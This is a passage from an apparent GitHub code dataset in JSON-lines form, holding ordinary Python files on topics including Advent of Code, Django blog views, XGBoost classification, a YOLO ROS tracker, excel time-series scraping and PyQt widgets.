\"genvec_t-channel_nMed-1_mMed-{}_mDark-20_rinv-0.3_alpha-peak_yukawa-1_13TeV-madgraphMLM-pythia8_n-20000_part-2.root\".format(mass)) for mass in [500,1000,2000]])\nconfig.xsecs_sep = OrderedDict([(500, 1.584e+01), (1000, 5.312e-01), (2000, 8.071e-03)])\n\nconfig.params = OrderedDict([\n (\"mMediator\", (500,2000)),\n])\nconfig.inputs = [\n \"Jet1\",\n \"Jet2\",\n \"Met\",\n]\nconfig.theory = [\n \"MT\",\n]\n\nfrom axes_tchan import axes\nconfig.axes = axes\n","repo_name":"kpedro88/evn_svj_public","sub_path":"configs/tchanSingle.py","file_name":"tchanSingle.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2823335711","text":"import os\n\nINPUT_FILE = os.path.join(os.path.dirname(__file__), 'data', 'day02.txt')\n\nTO_ELVIS = { 'X': 'A', 'Y': 'B', 'Z': 'C'}\n\nRESULT_SCORE = { 'X': 0, 'Y': 3, 'Z': 6 }\nHAND_SCORE = { 'A': 1, 'B': 2, 'C': 3 }\nBEST_MOVE = {\n 'A': { 'X': 'C', 'Z': 'B' },\n 'B': { 'X': 'A', 'Z': 'C' },\n 'C': { 'X': 'B', 'Z': 'A' }\n}\n\n\ndef brawl_score(elf_hand, santa_hand):\n if elf_hand == santa_hand:\n return 3\n elif elf_hand == 'A':\n return 6 if santa_hand == 'B' else 0\n elif elf_hand == 'B':\n return 6 if santa_hand == 'C' else 0\n elif elf_hand == 'C':\n return 6 if santa_hand == 'A' else 0\n\n\ndef part_one():\n score = 0\n\n with open(INPUT_FILE) as file:\n for line in file:\n elf_hand, santa_hand = line.split()\n santa_hand = TO_ELVIS[santa_hand]\n score += brawl_score(elf_hand, santa_hand) + HAND_SCORE[santa_hand]\n\n print(score)\n\n\ndef part_two():\n score = 0\n\n with open(INPUT_FILE) as file:\n for line in file:\n elf_hand, result = line.split()\n\n if result == 'Y':\n score += HAND_SCORE[elf_hand] + 3\n else:\n santa_hand = BEST_MOVE[elf_hand][result]\n score += HAND_SCORE[santa_hand] + RESULT_SCORE[result]\n\n print(score)\n\n\nif __name__ == '__main__':\n part_one()\n part_two()\n","repo_name":"christospi/aoc-2022","sub_path":"day02.py","file_name":"day02.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30233305917","text":"\"\"\" This thing takes a directory and converts all the files\"\"\"\nfrom munging.formatting import convert_wavelength_file, convert_mp3_to_wav\nfrom munging.file_methods import find_filetype, find_directory__files\nimport os\n\n\ndef main(directory, wavelength=16000, replace=True):\n \"\"\"\n accepts either a file or a directory\n converts them to wav format and the specified wavelength with or without replacement\n \"\"\"\n\n if os.path.isdir(directory):\n # get the directory of mp3 files\n mpthree_files = find_directory__files(directory, 'mp3')\n\n # check whether there are mp3 files\n if len(mpthree_files) > 0:\n # converts all the mp3 files to wav files\n map(lambda x: convert_mp3_to_wav(x, replace=replace), mpthree_files.values())\n\n # now get the wav files after conversion(if any)\n wav_files = find_directory__files(directory, 'wav')\n\n # convert\n map(lambda x: convert_wavelength_file(x, wavelength=wavelength, replace=replace), wav_files.values())\n elif os.path.isfile(directory):\n\n # check if it's a wav\n filetype = find_filetype(directory)\n if filetype != 'wav':\n if filetype == 'mp3':\n convert_mp3_to_wav(directory, replace=replace)\n # get the new file name\n directory = directory.replace('mp3', 'wav')\n else:\n raise ValueError(\"Not a supported filetype at this moment\")\n\n # when filetype == wav or after converting from mp3 to wav\n convert_wavelength_file(directory, wavelength, replace=replace)\n else:\n raise ValueError(\"input is wrong\")\n\n\n# When this is run standalone\nif __name__ == '__main__':\n file_convert = raw_input(\"file/directory to be converted: \")\n main(file_convert)\n","repo_name":"liuyang1123/speech2text","sub_path":"utils/file_converter.py","file_name":"file_converter.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10633261133","text":"from django.http.response import JsonResponse\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\nfrom rest_framework.parsers import JSONParser\n\nfrom .serializers import PostMakeSerializer, PostReadSerializer\nfrom .models import Post\nfrom .mongo import MongoDbManager\n\n\n# post_make_* 은 포스트을 만들기 위한 최소의 직렬화 ('title', 'body', 'tags')\n# post_read_* 은 포스트를 읽기 위한 모델의 전부다.. ('_id', 'title', 'body', 'tags','published_date')\n\n\n\n@api_view(['GET','POST'])\ndef post(request):\n if request.method == 'GET': # post read all\n posts = Post.objects.all()\n posts_read_serializer = PostReadSerializer(posts, many=True)\n return JsonResponse(posts_read_serializer.data, safe=False)\n\n elif request.method == 'POST': # post write\n posts = JSONParser().parse(request)\n post_make_serializer = PostMakeSerializer(data=posts)\n if post_make_serializer.is_valid():\n post_make_serializer.save()\n mongo = MongoDbManager\n mongo.connection()\n posts = mongo.title_search(title=request.POST.title)\n post_make_serializer = PostReadSerializer(data=posts)\n return JsonResponse(post_make_serializer.data, status=status.HTTP_201_CREATED)\n return JsonResponse(post_make_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef post_detail(request, id):\n mongo = MongoDbManager()\n mongo.connection()\n try:\n posts = mongo.post_read(id)\n except Post.DoesNotExist:\n return JsonResponse({'message': '블로그 id의 내용이 없습니다,'},\n status=status.HTTP_404_NOT_FOUND)\n\n if request.method == 'GET': # post read detail\n post_read_serializer = PostReadSerializer(posts, many=True)\n return JsonResponse(post_read_serializer.data, safe=False)\n elif request.method == 'PUT': # post edit\n post_data = JSONParser().parse(request)\n post_make_serializer = PostMakeSerializer(posts, data=post_data)\n if post_make_serializer.is_valid(): #값이 확실하냐?\n post_make = mongo.post_update(id, post_data)\n return JsonResponse(post_make)\n return JsonResponse(post_make_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n elif request.method == 'DELETE':\n mongo.post_delete(id)\n return JsonResponse({'message': '블로그 내용이 삭제되었습니다.'},\n status=status.HTTP_204_NO_CONTENT)\n\n@api_view(['GET'])\ndef tags(request):\n mongo = MongoDbManager()\n mongo.connection()\n\n if request.method == 'GET':\n posts = mongo.tags_search(request.GET)\n return JsonResponse(posts, safe=False)\n\n return JsonResponse({'message': '잘못된 형식의 호출입니다.'},\n status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"hyeonprojects/h_blog_backend","sub_path":"blog/post/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18850331417","text":"# minimum moves to match arr1 to arr2; moves maybe decrement or increament\n# comparing 1234 to 2345 results in 4 moves\n# increment 1 once to get 2 - 1 move\n# increment 2 once to get 3 - 1 move\n# increment 3 once to get 4 - 1 move\n# increment 4 once to get 5 - 1 move\n#\n# comparing 4231 to 3214 results in 6 moves\n# decrement 4 once to get 3 - 1 move\n# decrement 3 twice to get 1 - 2 moves\n# increment 1 thrice to get 4 - 3 moves\n\n# In total we make 10 moves to match the arrays\n# arr1 = [1234,4231]\n# arr2 = [2345,3214]\n\n\ndef minimumMoves(arr1, arr2):\n # Write your code here\n moves = 0\n # loop through each array at the same time\n for a, b in zip(arr1, arr2):\n # break each element into list\n a1 = list(map(int, \"\".join(str(a))))\n b1 = list(map(int, \"\".join(str(b))))\n\n print(a1, b1)\n idx = 0\n\n # compare each digit of an element to perform move\n while idx < len(a1):\n if b1[idx] >= a1[idx]:\n moves += b1[idx] - a1[idx]\n else:\n moves += a1[idx] - b1[idx]\n idx += 1\n\n return moves\n\n\nmoves = minimumMoves([1234, 4231], [2345, 3214])\nprint(moves)\n","repo_name":"hopeswiller/DataStructuresAlgorithm.Python","sub_path":"MiniMovesToMatch.py","file_name":"MiniMovesToMatch.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4681485322","text":"#!/usr/bin/env python3\n\nimport ros_numpy\nimport roslib.packages\nimport rospy\nfrom sensor_msgs.msg import Image\nfrom ultralytics import YOLO\nimport time\nfrom vision_msgs.msg import (Detection2D, Detection2DArray,\n ObjectHypothesisWithPose)\n\nclass TrackerNode:\n def __init__(self):\n yolo_model = rospy.get_param(\"~yolo_model\", \"yolov8n.pt\")\n detection_topic = rospy.get_param(\"~detection_topic\", \"detection_result\")\n image_topic = rospy.get_param(\"~image_topic\", \"image_raw\")\n self.conf_thres = rospy.get_param(\"~conf_thres\", 0.25)\n self.iou_thres = rospy.get_param(\"~iou_thres\", 0.45)\n self.max_det = rospy.get_param(\"~max_det\", 300)\n self.classes = rospy.get_param(\"~classes\", None)\n self.tracker = rospy.get_param(\"~tracker\", \"bytetrack.yaml\")\n self.debug = rospy.get_param(\"~debug\", False)\n self.debug_conf = rospy.get_param(\"~debug_conf\", True)\n self.debug_line_width = rospy.get_param(\"~debug_line_width\", None)\n self.debug_font_size = rospy.get_param(\"~debug_font_size\", None)\n self.debug_font = rospy.get_param(\"~debug_font\", \"Arial.ttf\")\n self.debug_labels = rospy.get_param(\"~debug_labels\", True)\n self.debug_boxes = rospy.get_param(\"~debug_boxes\", True)\n path = roslib.packages.get_pkg_dir(\"oj_detection\")\n self.model = YOLO(f\"{path}/models/{yolo_model}\")\n\n self.sub = rospy.Subscriber(\n image_topic, Image, self.image_callback, queue_size=1, buff_size=2**24\n )\n self.image_pub = rospy.Publisher(\"debug_image\", Image, queue_size=1)\n self.detection_pub = rospy.Publisher(\n detection_topic, Detection2DArray, queue_size=1\n )\n\n def image_callback(self, msg):\n header = msg.header\n encoding = msg.encoding\n numpy_image = ros_numpy.numpify(msg)\n start_time = time.time()\n results = self.model.track(\n source=numpy_image,\n conf=self.conf_thres,\n iou=self.iou_thres,\n max_det=self.max_det,\n classes=self.classes,\n tracker=self.tracker,\n verbose=False,\n )\n end_time = time.time()\n # Calculate the processing time\n processing_time = end_time - start_time\n\n # Print the processing time\n rospy.loginfo(\"Processing time object detection: %.4f seconds\" % processing_time)\n\n self.publish_detection(results, header)\n self.publish_debug_image(results, encoding)\n def publish_debug_image(self, results, encoding):\n if self.debug and results is not None:\n plotted_image = results[0].plot(\n conf=self.debug_conf,\n line_width=self.debug_line_width,\n font_size=self.debug_font_size,\n font=self.debug_font,\n labels=self.debug_labels,\n boxes=self.debug_boxes,\n )\n debug_image_msg = ros_numpy.msgify(Image, plotted_image, encoding=encoding)\n self.image_pub.publish(debug_image_msg)\n\n def publish_detection(self, results, header):\n if results is not None:\n detections_msg = Detection2DArray()\n detections_msg.header = header\n bounding_box = results[0].boxes.xywh\n classes = results[0].boxes.cls\n confidence_score = results[0].boxes.conf\n for bbox, cls, conf in zip(bounding_box, classes, confidence_score):\n detection = Detection2D()\n detection.bbox.center.x = float(bbox[0])\n detection.bbox.center.y = float(bbox[1])\n detection.bbox.size_x = float(bbox[2])\n detection.bbox.size_y = float(bbox[3])\n hypothesis = ObjectHypothesisWithPose()\n hypothesis.id = int(cls)\n hypothesis.score = float(conf)\n detection.results.append(hypothesis)\n detections_msg.detections.append(detection)\n self.detection_pub.publish(detections_msg)\n\n\nif __name__ == \"__main__\":\n rospy.init_node(\"tracker_node\")\n node = TrackerNode()\n rospy.spin()","repo_name":"NguyenCanhThanh/probabilistic_semantic_mapping","sub_path":"oj_detection/scripts/object_detect_node.py","file_name":"object_detect_node.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31122735407","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nbuild_database.py\n\nBuild a time series database from an excel file with excel download links and\nparameters to scrape series from them, with xlseries package.\n\"\"\"\n\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import with_statement\nimport dataset\nimport pandas as pd\nimport os\n\nimport utils\nfrom xlseries import XlSeries\n\n\ndef scrape_series(path_excel, headers_coord, data_starts, frequency,\n time_header_coord, context=None, ws_name=None):\n \"\"\"Scrape time series from excel file into a DataFrame object.\n\n Args:\n path_excel (str): Path to the excel file with time series to scrape.\n headers_coord (str): Headers coordinates separated by \",\" like\n \"A1-C1,E1,G1-I1\"\n data_starts (int): Row or column index where data starts.\n frequency (str): Frequency of the series (\"Y\", \"M\", \"D\", \"YQQQQ\")\n time_header_coord (str): Header or headers of the time index separated\n by \",\" like \"A1,B1\"\n context (str): Context string that could be None or something like\n \"Total 1:C4-F4;Total 2:D5-F5,H5-J5\"\n ws_name (str): Name of the worksheet to be scraped (if None, it will\n use the active one).\n\n Returns:\n pandas.DataFrame or list of them: Scraped series stored as a DataFrame.\n \"\"\"\n\n # xlseries decode ws_name, and this come already decoded from openpyxl\n # so it has to be encoded to pass it to xlseries\n if not ws_name or pd.isnull(ws_name):\n ws_name = None\n else:\n ws_name = ws_name.encode(\"utf-8\")\n\n xl = XlSeries(path_excel)\n params = {\n \"headers_coord\": headers_coord.split(\",\"),\n \"frequency\": frequency.split(\",\"),\n \"time_header_coord\": time_header_coord.split(\",\"),\n \"data_starts\": data_starts,\n \"context\": utils.parse_context(context)\n }\n\n return xl.get_data_frames(params, ws_name)\n\n\ndef add_series_to_tbl(table, source_name, categories, description, df_series):\n \"\"\"Iterate a dataframe adding each row of date to a database table.\n\n Args:\n table (dataset.Table): A table from the dataset, corresponding to the\n source being added.\n source_name (str): Name of the source of data.\n categories (str): Categories where series added should be tagged.\n description (str): Description of the subject of the excel file or\n worksheet where data was scraped.\n df_series (pandas.DataFrame): DataFrame where series to be added to the\n database are being passed.\n \"\"\"\n\n fields = df_series.columns\n\n for row in df_series.iterrows():\n date = utils.parse_pandas_date(row[0])\n\n for field in fields:\n value = row[1][field]\n\n new_entry = {\n \"source\": source_name,\n \"categories\": categories,\n \"description\": description,\n \"name\": field,\n \"date\": date,\n \"value\": value,\n \"frequency\": df_series.index.freq\n }\n\n table.upsert(new_entry, [\"name\", \"date\", \"frequency\"])\n\n\ndef update_table(table, source_file, source_dir, use_cache=False):\n \"\"\"Update a time series database downloading and scraping excel files.\n\n Args:\n table (dataset.Table): A table in the database used.\n source_file (str): Path to an xlsx file with the list of excel files to\n download and their parameters to extract data with xlseries.\n source_dir (str): Path to a cache directory where excel files will be\n downloaded.\n use_cache (bool): When True will use the files already downloaded, when\n False will re-download the files.\n \"\"\"\n\n # use pandas to read the excel where we store the metadata of the files\n df_source = pd.read_excel(source_file)\n\n # scrape every excel and add its time series to the database\n for row in df_source.iterrows():\n if not use_cache:\n utils.download_file(row[1][\"download_link\"], row[1][\"filename\"],\n source_dir)\n\n path_excel = os.path.join(source_dir, row[1][\"filename\"])\n\n # here is where the magic really happens!\n df_series = scrape_series(path_excel,\n row[1][\"headers_coord\"],\n row[1][\"data_starts\"],\n row[1][\"frequency\"],\n row[1][\"time_header_coord\"],\n row[1][\"context\"],\n row[1][\"ws_name\"])\n\n source_name = source_file.replace(\".xlsx\", \"\")\n\n if not type(df_series) == list:\n df_series = [df_series]\n\n print(sum(map(len, df_series)), \"series were scraped from\",\n row[1][\"filename\"])\n\n for df in df_series:\n add_series_to_tbl(table, source_name,\n row[1][\"categories\"], row[1][\"description\"], df)\n\n\ndef main(sources=None,\n database_url='sqlite:///2-base_de_datos/latam_series.db',\n use_cache=True):\n \"\"\"Main method that build the database.\n\n Args:\n sources (list): Names of the data sources being scraped. They should\n match the excel file with the download links of the excels to be\n scraped and the folder where they are.\n database_url (str): URL where the database file will be.\n use_cache (bool): If True, scraped excels will not be re-downloaded\n the ones already there will be scraped.\n \"\"\"\n sources = sources or [\"1-ejemplos\"]\n\n # make a connection with the database\n db = dataset.connect(database_url)\n\n # each source (INDEC, INE..) would be a separate table in the db\n for source in sources:\n table = db[source]\n update_table(table, source + \".xlsx\", source, use_cache)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"abenassi/xlseries-condatos2015","sub_path":"build_database.py","file_name":"build_database.py","file_ext":"py","file_size_in_byte":5994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27037020843","text":"from sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nimport xgboost as xgb\nimport numpy as np\n\niris = load_iris()\n\ntrainX, testX, trainY, testY = train_test_split(iris['data'], iris['target'], test_size=0.2)\n\n# XGBoost (classifier)로 Train 데이터를 학습한다.\n# 학습데이터와 시험데이터를 xgb의 데이터 형태로 변환한다.\ntrainD = xgb.DMatrix(trainX, label=trainY)\ntestD = xgb.DMatrix(testX, label=testY)\n\nparam = {\n 'eta' : 0.3,\n 'max_depth' : 3,\n 'objective' : 'multi:softprob',\n 'num_class' : 3\n}\n\nmodel = xgb.train(params = param, dtrain = trainD, num_boost_round = 20)\n\n# 테스트셋의 Feature에 대한 class를 추정하고, 정확도를 계산한다.\npredY = model.predict(testD)\npredY = np.argmax(predY, axis=1)\naccuracy = accuracy_score(testY, predY)\nprint(\"* 시험용 데이터로 측정한 정확도 = %.2f\" % accuracy)\n\n# 훈련 세트의 Feature에 대한 class를 추정하고, 정확도를 계산한다.\npredY = model.predict(trainD)\npredY = np.argmax(predY, axis=1)\naccuracy = accuracy_score(trainY, predY)\nprint(\"* 학습용 데이터로 측정한 정확도 = %.2f\" % accuracy)\n\n\"\"\"\n* 시험용 데이터로 측정한 정확도 = 1.00\n* 학습용 데이터로 측정한 정확도 = 1.00\n\"\"\"","repo_name":"dobbytk/NLP_study","sub_path":"Multicampus/ML/day6/XGBoost_iris.py","file_name":"XGBoost_iris.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14861914060","text":"\n\n \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n\n# 3. Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from this\n# software without specific prior written permission.\n\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\n\n\nfrom typing import List\nfrom codegen.sugar import *\n\n# TODO: We might eventually want to make this part of our syntax tree\n# in order to do unrolls and other fancy stuff with it\nclass Loop(Block):\n\n _labels : List[str] = []\n def __init__(self,\n iteration_var: Register,\n initial_val: int,\n final_val: int,\n increment: int = 1,\n body_contents: Block = None\n ) -> None:\n\n self.iteration_var = iteration_var\n self.initial_val = initial_val\n self.final_val = final_val\n self.increment = increment\n self.body_contents = body_contents\n\n self.label = \"loop_top_\" + str(len(Loop._labels))\n Loop._labels.append(self.label)\n\n self.comment = f\"for {self.iteration_var.nice} <- {self.initial_val}:\" + \\\n f\"{self.increment}:{self.final_val})\"\n\n @property\n def contents(self):\n return [mov(self.initial_val, self.iteration_var, vector=False),\n label(self.label),\n *(self.body_contents.contents),\n add(self.increment, self.iteration_var),\n cmp(self.final_val, self.iteration_var),\n jump(self.label, backwards=True)]\n\n def body(self, *args):\n self.body_contents = block(\"Loop body\", *args)\n return self\n\n\nclass JumpTable(Block):\n def __init__(self,\n blocks: List[Block],\n mapping: List[int]) -> None:\n\n self.blocks = blocks\n self.mapping = mapping\n\n @property\n def contents(self):\n n = len(self.blocks)\n table_start = Label(\"jump_table_start\")\n table_end = Label(\"jump_table_end\")\n labels = [Label(f\"jump_block_{i}\" for i in range(n))]\n contents = [table_start]\n\n for m in self.mapping:\n contents.append(data(labels[m]))\n\n for i in range(n-1):\n contents.append(label(labels[i]))\n contents.append(blocks[i])\n contents.append(jump(table_end, backwards=False))\n\n contents.append(label(labels[n]))\n contents.append(blocks[n])\n\n contents.append(label(table_end))\n return contents\n\n\n\ndef loop(iter_var, initial_val, final_val, increment):\n return Loop(iter_var, initial_val, final_val, increment)\n","repo_name":"nathanwbrei/matmatmult","sub_path":"codegen/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36380927001","text":"from PyQt5 import QtWidgets, QtCore, QtGui\nimport random\n\nfrom .icons_rc import *\n\n\nclass LessonItem(object):\n\n def __init__(self, number='#', name=\"Lesson's title\", path=None):\n self.number = number\n self.name = name\n self.path = path \n\n\n\nTEXT_STYLE1 = \"\"\"QLabel\\n\n {\\n\n font-weight: bold;\\n\n }\"\"\"\n\nTEXT_STYLE2 = \"\"\"QLabel\\n\n {\\n\n font-weight: bold;\\n\n font-size: 18px;\\n\n }\"\"\"\n\nFRAME_STYLE = \"\"\"QFrame\\n\n {\\n\n background-color: #28d;\\n\n }\"\"\"\n\nFRAME_STYLE1 = \"\"\"QFrame\\n\n {\\n\n background-color: #6fd;\\n\n }\"\"\"\n\n\nclass CustomFrame(QtWidgets.QFrame, QtWidgets.QWidget):\n clicked = QtCore.pyqtSignal()\n \n\n def __init__(self, parent=None):\n super(CustomFrame, self).__init__(parent)\n\n def mousePressEvent(self, a0: QtGui.QMouseEvent):\n self.clicked.emit()\n \n \n\n\n\nclass SubTitle(QtWidgets.QWidget):\n\n clicked = QtCore.pyqtSignal(int)\n doubleClicked = QtCore.pyqtSignal()\n \n def __init__(self, parent=None, number=0, title=\"Subtitle\"):\n super(SubTitle, self).__init__(parent)\n self.number = number\n self.title = title\n \n self.layout = QtWidgets.QVBoxLayout(self)\n self.layout.setContentsMargins(0, 0, 0, 0)\n self.frame = QtWidgets.QFrame(self)\n self.frame.setStyleSheet(\"\"\"\n QFrame\n {\n background-color: rgb(211, 211, 211);\n }\n \"\"\") \n self.frame.setFrameShape(QtWidgets.QFrame.NoFrame)\n self.frame.setMinimumSize(QtCore.QSize(0, 32))\n self.frame.setMaximumSize(QtCore.QSize(16777215, 32))\n self.frame.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n\n self.frame_layout = QtWidgets.QHBoxLayout(self.frame)\n self.frame_layout.setContentsMargins(12, 0, 12, 0)\n self.frame_layout.setSpacing(6)\n\n self.number_label = QtWidgets.QLabel(self.frame)\n self.number_label.setStyleSheet(TEXT_STYLE1)\n self.frame_layout.addWidget(self.number_label)\n\n self.title_label = QtWidgets.QLabel(self.frame)\n self.title_label.setStyleSheet(TEXT_STYLE1)\n self.frame_layout.addWidget(self.title_label)\n\n self.frame_layout.setStretch(1, 1)\n self.layout.addWidget(self.frame)\n \n self.set_header()\n \n \n def set_header(self):\n self.number_label.setText(\"{}.\".format(self.number))\n self.title_label.setText(\"{}\".format(self.title))\n \n \n def set_title(self, title):\n self.title = title\n self.title_label.setText(\"{}\".format(self.title))\n \n \n def set_number(self, number):\n self.number = number\n self.number_label.setText(\"{}.\".format(self.number))\n \n \n def mouseDoubleClickEvent(self, event):\n self.doubleClicked.emit()\n \n def mousePressEvent(self, event):\n self.clicked.emit(self.number)\n \n \n \n \n \n \n\n\n\n\nclass Title(SubTitle): \n clicked = QtCore.pyqtSignal()\n checked = False\n def __init__(self, parent=None, number=0, title=\"Title\"):\n super(Title, self).__init__(parent, number, title)\n \n self.icon_label = QtWidgets.QLabel(self.frame)\n self.icon_label.setMaximumSize(QtCore.QSize(12, 12))\n self.icon_label.setPixmap(QtGui.QPixmap(\":/svg/angle-arrow-down.svg\"))\n self.icon_label.setScaledContents(True)\n self.frame_layout.addWidget(self.icon_label)\n self.frame.setMinimumSize(QtCore.QSize(0, 48))\n self.frame.setMaximumSize(QtCore.QSize(16777215, 48))\n self.frame.setStyleSheet(FRAME_STYLE)\n\n\n def mousePressEvent(self, event):\n self.clicked.emit()\n checked = self.checked\n self.checked = not self.checked\n if checked:\n self.icon_label.setPixmap((QtGui.QPixmap(\":/svg/angle-arrow-down.svg\")))\n else:\n self.icon_label.setPixmap(QtGui.QPixmap(\":/svg/up-arrow\"))\n \n \n \n \n \n\n\n\nif __name__=='__main__':\n from PyQt5.QtWidgets import QApplication\n import sys\n \n app = QApplication(sys.argv)\n \n wid = Title()\n wid.show()\n sys.exit(app.exec_())","repo_name":"Python-Cameroun/pylearner","sub_path":"dev/views/assets/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"35663821335","text":"import sys\nsys.stdin = open('연습문제1.txt')\n\ndef preorder(node):\n if node != 0:\n print('{}'.format(node), end=\" \")\n preorder(result[node][1])\n preorder(result[node][2])\n\ndef inorder(node):\n if node != 0:\n inorder(result[node][1])\n print('{}'.format(node), end=\" \")\n inorder(result[node][2])\n\ndef postorder(node):\n if node != 0:\n postorder(result[node][1])\n postorder(result[node][2])\n print('{}'.format(node), end=\" \")\n\nn, e = map(int, input().split())\ninput_list = list(map(int, input().split()))\nresult = [[i,0,0,0] for i in range(n+1)]\n\nfor i in range(0, len(input_list), 2):\n if result[input_list[i]][1]:\n result[input_list[i]][2] = input_list[i+1]\n else:\n result[input_list[i]][1] = input_list[i+1]\n result[input_list[i+1]][3] = input_list[i]\n\nprint(\"\\n\".join(\"{0:3d} {1:3d} {2:3d} {3:3d}\".format(*result[i]) for i in range(1, len(result))))\npreorder(1)\nprint()\ninorder(1)\nprint()\npostorder(1)","repo_name":"gogumasitda/TIL","sub_path":"algorithm/0304/연습문제2.py","file_name":"연습문제2.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"41966983515","text":"import glob\nimport pandas as pd\nimport torch\nimport numpy as np\n\ndef upload_data(dataset_name):\n datsets_csv = pd.read_csv('/home/lev/object-centric/edge-generation/configs/datasets.cvs', sep='\\t', index_col=0)\n if dataset_name in ['load_breast_cancer', 'load_digits', 'load_boston', 'load_iris', 'load_diabetes', 'load_wine']:\n data = eval(dataset_name)\n features = data['data']\n labels = data['target']\n\n elif dataset_name in list(datsets_csv.name):\n df = datsets_csv[datsets_csv.name == dataset_name]\n assert df.shape[0] == 1, \"The dataset name is not unique\"\n data = pd.read_table(df.path.iloc[0], index_col=0)\n\n # n_initial = data.shape[0]\n # data = data.groupby('clase').filter(lambda x : len(x)/n_initial > 0.05)\n # data.reset_index(inplace=True, drop=True)\n \n\n labels = np.array(data['clase'])\n features = np.array(data.drop(columns=['clase']))\n\n print(\"Class-counts: \\n\", data.clase.value_counts())\n\n # Doublecheck\n assert data.shape[1] - 1 == features.shape[1]\n else: pass\n\n return torch.tensor(features).type(torch.float32), torch.tensor(labels).type(torch.int64)\n\n\n# datsets_csv = pd.read_csv('/home/lev/object-centric/edge-generation/configs/datasets.cvs', sep='\\t', index_col=0)\n# if cfg.dataset_name in ['load_breast_cancer', 'load_digits', 'load_boston', 'load_iris', 'load_diabetes', 'load_wine']:\n# data = eval(cfg.dataset_name)\n# self.features = torch.tensor(data['data']).type(torch.float32)\n# self.labels = torch.tensor(data['target']).type(torch.int64)\n\n# else:\n# X, y = upload_data(cfg.dataset_path)\n# self.features = torch.tensor(X).type(torch.float32)\n# self.labels = torch.tensor(y).type(torch.int64)","repo_name":"levtelyatnikov/graph_edge_generation","sub_path":"datasets/preprocess_dataset.py","file_name":"preprocess_dataset.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12975567874","text":"import bd_toolkit as bd\n\nrevit_file_name_list = [\"KZGZ\", \"KL\", \"LB\", \"WALL\", \"DOOR\", \"WINDOW\", \"REBAR\"]\nrevit_file_path = \"data/Revit_\"\n\nbd.preprocessing.combine_revit_files(revit_file_path, revit_file_name_list).to_csv(\n \"data/revit/RAW.csv\", index=False\n)\n\np6_excel_file = \"data/P6BD.xlsx\"\nbd.preprocessing.excel2csv(p6_excel_file)\nbd.preprocessing.p6_work_list_extract(\"data/P6/TASK.csv\").to_csv(\n \"data/P6/work_list.csv\", index=False\n)\n\nrevit_raw_file = \"data/revit/RAW.csv\"\nbd.preprocessing.revit_raw_file_merge(revit_raw_file).to_csv(\n \"data/revit/merged.csv\", index=False\n)\n\nrevit_merged_file = \"data/revit/merged.csv\"\nbd.workload.revit_workload_cal(revit_merged_file).to_csv(\n \"data/revit/caled.csv\", index=False\n)\n\nrevit_caled_file = \"data/revit/caled.csv\"\nwork_list_file = 